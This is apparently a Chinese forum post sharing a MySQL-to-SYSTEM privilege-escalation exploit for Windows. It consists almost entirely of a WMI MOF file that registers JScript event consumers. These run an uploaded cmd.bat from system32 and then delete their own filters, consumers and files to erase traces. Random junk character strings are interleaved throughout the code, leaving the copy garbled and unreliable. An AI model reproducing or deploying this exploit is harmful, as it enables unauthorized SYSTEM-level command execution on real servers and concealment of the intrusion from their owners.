Mysql 提权即时无错Mof exp

admin

这个sql提权MOF需要运行 system下的文件，不能定义路径。
2 J! h- d3 I; o+ g需要将要运行的命令写入到bat上传到system32目录，然后执行。
1 G- p( _: X# L* X4 W( o# x
这个sql提权MOF需要运行 system下的文件，不能定义路径。
需要将要运行的命令写入到bat上传到system32目录，然后执行。

; E$ t2 ~" N# h4 h- r#pragma
4 ^2 J# Z9 v+ B' g4 \                        namespace("\\\\.\\root\\cimv2")
                        class
                        MyClass547
                        {           [key]
$ x6 L, o9 t' K3 M; @. |- V! R; ^                        string
                        Name;
                        };
                        class
3 S. Q6 [. M5 D5 e                        ActiveScriptEventConsumer
                        : __EventConsumer {          [key]
                        string
                        Name;           [not_null]
                        string
                        ScriptingEngine;           string
. y3 {! f- H& v8 e                        ScriptFileName;           [template]
- D* [& G0 o4 G8 Y: K/ {$ R                        string
                        ScriptText;         uint32 KillTimeout;
, ]0 j7 R  H" m( ~' o                        }; instance of __Win32Provider as $P {
                        Name
                        =
% I* _/ Y/ e2 A3 c$ Z1 V0 D                        "ActiveScriptEventConsumer";     CLSID =
                        "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";
3 e% }. }) d- g) O                        PerUserInitialization
$ a% \/ P7 M( v+ w! L8 H                        = TRUE;
                        }; instance of __EventConsumerProviderRegistration {         Provider
+ u$ s8 z1 q' U8 N$ g                        = $P;         ConsumerClassNames
2 N6 z1 T0 s: K4 U) c& i                        =
                        {"ActiveScriptEventConsumer"};
5 r/ h1 K  s: r2 U$ F                        };
                        Instance of ActiveScriptEventConsumer
                        as $cons {         Name
" I/ u6 M2 `# F# A                        =
2 Y1 T6 n9 b( a; Y2 R* F                        "ASEC";         ScriptingEngine
8 J5 a! |/ [/ ?) e% @+ w! k2 \                        =
                        "JScript";         ScriptText
. i, ~6 Y, l$ y                        =
% Q% F5 |0 J7 W' P  l. A0 Z, q4 D                        "\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};";          };
# u' Q6 Y/ v8 Y+ a! l) P                        Instance of ActiveScriptEventConsumer
                        as $cons2 {         Name
                        =
                        "qndASEC";         ScriptingEngine
                        =
/ M& O0 k$ j8 |+ w                        "JScript";         ScriptText
7 r3 o6 i5 }- k$ X2 i( S: @# ?                        =
                        "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";
                        }; instance of __EventFilter as $Filt {         Name
                        =
                        "instfilt";         Query
0 m0 I( X1 D9 d% K! z$ b# y( y                        =
; S6 X' Z* ?& q9 A; g                        "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\"";         QueryLanguage
                        =
                        "WQL";         }; instance of __EventFilter as $Filt2 {         Name
& m; j; N6 }( C2 K                        =
* O. |& O1 x( [& s2 ?1 ^1 _                        "qndfilt";         Query
9 s9 |# `7 V: _                        =
                        "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\"";         QueryLanguage
                        =
) f" H/ J  p) c2 y8 d1 v                        "WQL";          }; instance of __FilterToConsumerBinding as $bind {         Consumer
                        = $cons;         Filter
                        = $Filt;
! }, K5 X( E3 W                        }; instance of __FilterToConsumerBinding as $bind2 {         Consumer
/ d; i. N& ]3 F4 p) J                        = $cons2;         Filter
                        = $Filt2;
                        }; instance of MyClass547
                        as $MyClass {         Name
  S, X8 c6 N8 Q' E0 L- J3 z                        =
' T" s3 v( p. J: a9 f* l' y2 i                        "ClassConsumer";
1 C( q. c( h6 B* D4 ]% F; R                        };